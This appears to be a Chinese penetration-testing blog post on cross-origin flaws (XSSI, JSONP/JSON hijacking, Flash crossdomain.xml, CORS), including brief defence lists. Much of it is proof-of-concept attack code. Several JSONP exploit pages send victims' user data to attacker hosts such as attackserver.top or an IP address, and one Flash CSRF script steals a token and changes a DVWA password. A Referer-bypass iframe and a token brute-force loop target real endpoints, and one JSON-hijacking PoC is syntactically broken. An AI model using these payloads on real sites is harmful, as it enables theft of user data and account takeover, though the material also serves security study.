首页 » NetworkSec » Penetration » 正文

XSSI/JSONP/flash/CORS跨域漏洞总结

0x00 同源策略(SOP)和跨域

SOP:

URL Result Reason
http://store.company.com/dir2/other.html Success
http://store.company.com/dir/inner/another.html Success
https://store.company.com/secure.html Failure Different protocol
http://store.company.com:81/dir/etc.html Failure Different port
http://news.company.com/dir/other.html Failure Different host

<script>允许跨域加载资源

所有带src或href属性的标签以及部分其他标签可以跨域:

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
@font-face可以引入跨域字体。
  <style type="text/css">    @font-face {      src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");    }  </style>

SOP和CORS,都是浏览器阻止了响应,而非拦截请求。

 

0x01 XSSI

Cross-Site Scrite Inclusion

传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。

0. 静态的JavaScript(常规XSSI)

<html>   <head>     <title>Regular XSSI</title>     <script src="https://www.vulnerable-domain.tld/script.js"></script>   </head>   <body>     <script>       alert(JSON.stringify(keys[0]));     </script>   </body> </html>

//直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js

1. 动态JavaScript

利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取

(function(){
    var token = getToken();
    doSomeThing(token);
})();

function getToken(){
    len = 16 || 32;
    var $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678';
    var maxPos = $chars.length;
    var pwd = '';
    for (i = 0; i < len; i++) {
        pwd += $chars.charAt(Math.floor(Math.random() * maxPos));
    }
    return pwd;
}

重写doSomeThing()

<!--恶意页面-->


<html>
<head>
    <title>XSSI Attack</title>
    <script type="text/javascript">
        window.data = '';
        function doSomeThing(d){
            window.data = d;
        }
    </script>
</head>
<body>
<h2>XSSI Attack</h2>
<p id="leaked_content"></p>
<script type="text/javascript" src="http://192.168.10.130:81/secret.js"></script>
<script type="text/javascript" src="jquery-3.3.1"></script>
<script type="text/javascript">
    $('#leaked_content').text(window.data);
</script>
</body>
</html>

更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/

2. 非JavaScript

ie bug(<10):

为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。

一般来说,在外部js发生语法错误的情况下,浏览器只会提供固定的错误信息,但是当在runtime发生错误的情况下,浏览器会提供详细的错误信息。比如”foo 未定义”之类的,某些浏览器一旦允许外域js回复详细的错误信息,就会导致信息泄漏。

就是说,当某个网页的内容能被js识别为javascript格式的话,那么就可能通过错误信息获取到目标的内容。

#!html
<SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>

出现这种情况的原因在于,浏览器将目标CSV文件内容识别为JavaScript,其中age被识别为某个未定义的JS变量。当为这种情况的时候,浏览器就允许页面捕捉来自不同网页的错误信息。

utf16编码(ie<10):

1)使用script标签的charset属性将包含的文件编码为UTF-16,其目的在于强制文件的所有内容连为一体,变为一个未定义的Javascript变量。然后通过在window域内使用onerror捕获错误信息(此错误信息一定为【已编码的文件内容】 is not defined),再进行解码即可。
2)倘若敏感文件中有我们能够操控的字段,我们就可以利用JS的语法来构造函数或多行字符串变量以窃取可控字段之间的内容。

#!html
<!-- set an error handler -->
<SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT>
<!-- load target JSON -->
<SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>

Harmony proxy bug in Firefox / Chrome

Harmony是一个ECMAScript 6中的新功能 (6] ,类似于java的反射类,其中定义了对于对象属性的查找,分配,函数调用,在我们针对这些新特性的研究过程中发现该功能可以用于xssi的攻击中。

#!html
<!-- set proxy handler to window.__proto__ -->
<SCRIPT>
var handler = {
 has: function(target, name) {alert("data=" + name); return true},
 get: function(target, name) {return 1}
};
window.__proto__ = new Proxy({}, handler);
</SCRIPT>
<!-- load target CSV -->
<SCRIPT src="(target data's URL)"></SCRIPT>

更多详细内容参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/

 

3. 通过响应码差异获取信息

onload/onerror,window.onerror

在收到一个非2XX的响应时,会执行onerror函数,否则就会执行onload函数

需要具备以下条件:

  1. 不返回’X-Content-Type-Options:nosniff’HTTP头部,除非内容类型是JavaScript。
  2. 必须响应GET请求。
  3. 状态码:200响应表示成功,非200响应表示失败。
  4. 该信息非公开。

最令人担忧的是, 除了要求1中的JavaScript外,没有提到内容类型。因此,此攻击适用于XML,JSON,图像或任何其他内容(据我所知)。

 

防御

1. X-Content-Type-Options设置为nosniff

2. 不要将敏感数据(session,token等)放在javascript文件中, 也不要放在jsonp中
3. 禁止get

4. 加token

5. 自定义xhr/http请求

 

0x02 jsonp,json劫持

JSON with Padding:基于 JSON 格式的为解决跨域请求资源而产生的解决方案

ajax无法跨域读取响应

script标签,img标签,iframe标签等,可以请求第三方的资源(不受同源策略限制)

使用JSONP模式来请求数据的时候,服务端返回的是一段可执行的JavaScript代码

所以把请求的数据当作一个函数的参数,并且这个函数在客户端存在的话,就可以实现跨域传送数据。

而且JSON被JS原生支持,所以在客户端可以随意处理这种格式的数据;

要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了

参数名也常见有cb、jsoncb、call、jsoncall、cback、func、function、call、jsonp、jsonpcallback

利用网上的代码作例子:

<%@ page pageEncoding="utf-8" contentType="text/html;charset=UTF-8"  language="java" %> 
<html>
<head>
<title>跨域测试</title>
<script src="js/jquery-1.7.2.js"></script>
<script>
//回调函数
function showData (result) {
             var data = JSON.stringify(result); //json对象转成字符串
             $("#text").val(data);
}
$(document).ready(function () {
             $("#btn").click(function () {
                 //向头部输入一个脚本,该脚本发起一个跨域请求
                 $("head").append("<script src='http://localhost:9090/student?callback=showData'><\/script>");
});
});
</script>
</head>
<body>
<input id="btn" type="button" value="跨域获取数据" />
     <textarea id="text" style="width: 400px; height: 100px;">
</textarea>
</body>
</html>


后端:
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
response.setCharacterEncoding("UTF-8");
     response.setContentType("text/html;charset=UTF-8");
    //数据
     List<Student> studentList = getStudentList();
     JSONArray jsonArray = JSONArray.fromObject(studentList);
     String result = jsonArray.toString();
     //前端传过来的回调函数名称
     String callback = request.getParameter("callback");
     //用回调函数名称包裹返回数据,这样,返回数据就作为回调函数的参数传回去了
     result = callback + "(" + result + ")";
     response.getWriter().write(result);
 }

//代码来源:https://www.cnblogs.com/hfultrastrong/p/9930770.html

jquery封装ajax实现跨域

$.ajax

  dataType : "jsonp", // 返回的数据类型,设置为JSONP方式

                jsonp : 'callback', //指定一个查询参数名称来覆盖默认的 jsonp 回调参数名 callback

                jsonpCallback: 'handleResponse', //设置回调函数名


$.getJSON()

$.getJSON("https://api.xxx.com/v2/book/search?q=javascript&count=1&callback=?", function(data){

                console.log(data);

            });

还是用网上的代码作例子:

public partial class WebForm2 : System.Web.UI.Page { 
protected void Page_Load(object sender, EventArgs e) {
 string callback = Request["callback"]; 
string v1="1"; 
string v2="2"; 
string response = "{\"value1\":\"" + v1 + "\",\"value2\":\"" + v2 + "\"}"; 
string call = callback + "(" + response + ")"; Response.Write(call); Response.End(); } }


前端:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApp.WebForm1" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head runat="server"><script src="jquery-1.7.1.min.js" type="text/javascript"></script><script type="text/javascript">
    function aa() {
        $.ajax({
            url: "http://localhost:12079/WebForm2.aspx",
            data: "p1=1&p2=2&callback=?",
            type: "post",
            processData: false,
            timeout: 15000,
            dataType: "jsonp",  // not "json" we'll parse
            jsonp: "jsonpcallback",
            success: function(result) {
            alert(result.value1);
            }
        });
    }
</script>
    <title></title></head><body>
    <form id="form1" runat="server">
    <div>

    </div>
    </form>
    <p>
        <input id="Button1" type="button" value="button" onclick="aa()" /></p></body></html>

//代码来源:https://www.w3cschool.cn/json/4z2r1plk.html

 

jsonp方式不支持POST方式跨域请求,就算指定成POST方式,会自动转为GET方式

获取敏感数据用alert证明即可,也可以用ajax或new Image().src回传数据:

<script>function getdata0(data){
    //alert(v.name);
    var xmlhttp = new XMLHttpRequest();
    var url = "http://1.2.3.4/" + JSON.stringify(data);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
    }</script><script src="http://www.xxx.com/getuserinfo.php?callback=getdata0"></script>
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>JSONP Exploit</title></head><body><script>function jsoncallback(json){new Image().src="http://127.0.0.1/jsonp/" + JSON.stringify(json)alert(JSON.stringify(json))}</script><script src="http://www.xxx.com/getuserinfo.php?callback=jsoncallback"></script></body></html>

 

需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。

注意callback xss

严格定义 Content-Type: application / json

比如在 IE6、7 等版本时请求的 URL 文件后面加一个 /x.html 就可以解析 html ( http://127.0.0.1/getuserinfo.php/x.html?callback=<script>alert(/xss/)</script>

过滤 callback 以及 JSON 数据输出

utf7 xss

Content-Type: application / json;charset=utf-8

JSON劫持:

漏洞页面:
http://www.xxx.com/getuserinfo.php

页面返回:
{"Id":1,"Name":test,"coin":111111}

POC:
<script type="text/javascript">('coin', function(obj) {
 var req = new XMLHttpRequest();
 var objString = "";
 for (fld in this) {
 objString += fld + ": " + this[fld] + ", "; 
 }
 req.open("GET", "http://attackserver.top/?json=" +escape(objString),true); 
 }
 req.send(null);
 );</script><script type="text/javascript" src="http://www.xxx.com/getuserinfo.php"></script>

主要就是利用Object.prototype.__defineSetter__

 

防御

1. 验证 HTTP Referer
2. 在请求中添加 csrfToken 并在后端进行验证
3. JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )

绕过

1. referer空跨协议绕过(iframe javascript),

<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.xxx.com/login.php?calback=JSON></script>'"></iframe>

2. referer只检测包含关键词(?qq.com/www.qq.com.attack.com)

3. 爆破token

function _Callback(o){
alert(o.items[0].uin);
}
for(i=17008;i<17009;i++){  //暴力循环调用
getJSON(“http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk=”+i);
}

 

案例:

https://www.xxx.com/mobile/cart.php?act=check_cart_data&callback=jQuery111108243627011303358_1575958916369&_=1575958916370

POC:

<script>
function jQuery111108243627011303358_1575958916369(jc){
    alert(JSON.stringify("userid: "+jc.data.delivery_to.user_id+"|mobie: "+jc.data.delivery_to.mobile+"|name: "+jc.data.delivery_to.consignee+"|address:"+jc.data.delivery_to.address))
}
</script>
<script src="https://www.xxx.com/mobile/cart.php?act=check_cart_data&callback=jQuery111108243627011303358_1575958916369&_=1575958916370"></script>

0x03 flash跨域

位于www.a.com域中的SWF文件要访问www.b.com的文件时,SWF首先会检查b服务器目录下是否有crossdomain.xml文件,如果没有,则访问不成功;若crossdomain.xml文件存在,且设置了允许www.a.com域访问,那么通信正常。

常规的crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="www.xxx.com" />
  <allow-access-from domain="*.xxx.com" />
  <allow-access-from domain="1.2.3.4" />
</cross-domain-policy>

有安全隐患的crossdomain.xml:

<?xml version="1.0"?>
    <cross-domain-policy> 
    <site-control permitted-cross-domain-policies="all" />
    <allow-access-from domain="*" />
    <allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

如果符合下面3个条件,就可能存在crossdomain.xml引起的跨域漏洞:

1. 目标网站的根节点下存在crossdomain.xml文件。比如:www.xxx.com/crossdomain.xml

2. crossdomain.xml的配置不规范,如*

3. 目标网站上存在敏感数据或者可以执行敏感操作

 

1)信息窃取

见案例

 

1)Flash csrf

一般用于绕过一些特定情形

【1】绕referer、origin

使其为空(null)

 

【2】绕crossdomain.xml名单限制

目标站点的crossdomain.xml中domain设置并不为*,而是其他域名;

搜索几个白名单域名中的子域名,寻找可上传文件的域名,如victim.com中允许上传图片文件,但校验了文件后缀名和Content-Type;

攻击者创建恶意Flash文件,并修改后缀名为jpg,然后通过篡改Content-Type将其上传到victim.com中;

获取到上传文件的地址后,攻击者使用类型为application/x-shockwave-flash的object标签将文件嵌入到攻击者服务器中,如attacker.com;

受害者访问了victim.com,然后在同一浏览器中被诱使访问attacker.com,触发了攻击者上传的恶意Flash,从而可使攻击者窃取CSRF的token或目标站点页面的敏感信息,实现CSRF攻击;

网上找了一个dvwa高级别csrf改密码的例子,让受害者访问恶意swf,进而篡改密码,利用主要就多了获取token这一步骤:

//获取当前页面user_token
var targetURL:String = "http://192.168.43.201/dvwa/vulnerabilities/csrf/index.php";
var request:URLRequest = new URLRequest(targetURL);
request.method = URLRequestMethod.GET;
request.data = "";
sendToURL(request);
var loader:URLLoader=new URLLoader();
loader.addEventListener(Event.COMPLETE,completeHandler);
function completeHandler(event:Event):void{
var user_token:String = loader.data.match("user_token' value='(.*?)'")[1];

//将token发回
//var targetURL2:String = "http://a.com/gettoken.php";
//var request2:URLRequest = new URLRequest(targetURL2);
//request2.method = URLRequestMethod.POST;
//request2.data = "user_token=" + user_token;
//sendToURL(request2);

//发起CSRF攻击,篡改密码
var request3:URLRequest = new URLRequest(targetURL);
request3.method = URLRequestMethod.GET;
request3.data = "password_new=hacker&password_conf=hacker&Change=Change&user_token=" + user_token;
sendToURL(request3);
}
loader.load(request);

//代码来源:https://www.mi1k7ea.com/2019/07/28/Flash型CSRF总结/

 

【3】flash 307 csrf

参考:针对json的csrf攻击方法汇总

 

crossdomain.xml如果不符合会阻止跨域请求的发送。

 

防御

制定信任域

 

案例

假设存在getuserinfo页面,利用工具:https://github.com/nccgroup/CrossSiteContentHijacking

如果非crossdomain.xml配置允许的域名,如

则跨域请求不会发出

 

0x04 CORS

 

参考:

CORS基础:http://www.lsablog.com/networksec/penetration/talk-about-sop-cors-csp/

CORS进阶利用:https://www.lsablog.com/networksec/penetration/advanced-cors-attack/

CORS配置不符合则阻止读取响应

 

0x05 参考资料

https://wooyun.js.org/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html

https://www.anquanke.com/post/id/83014

https://paper.tuisec.win/detail/98dfd76962c516f

https://www.hurricanelabs.com/blog/a-new-xssi-vector-or-the-untold-merits-of-nosniff

http://blog.knownsec.com/2015/03/jsonp_security_technic/

https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html

https://www.anquanke.com/post/id/152339

https://www.freebuf.com/articles/web/37432.html

https://www.freebuf.com/articles/web/35353.html

https://gh0st.cn/archives/2018-03-22/1

https://www.scip.ch/en/?labs.20160414

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=43011&highlight=flash

https://www.mi1k7ea.com/2019/07/28/Flash型CSRF总结/

 

Comment

please input captcha *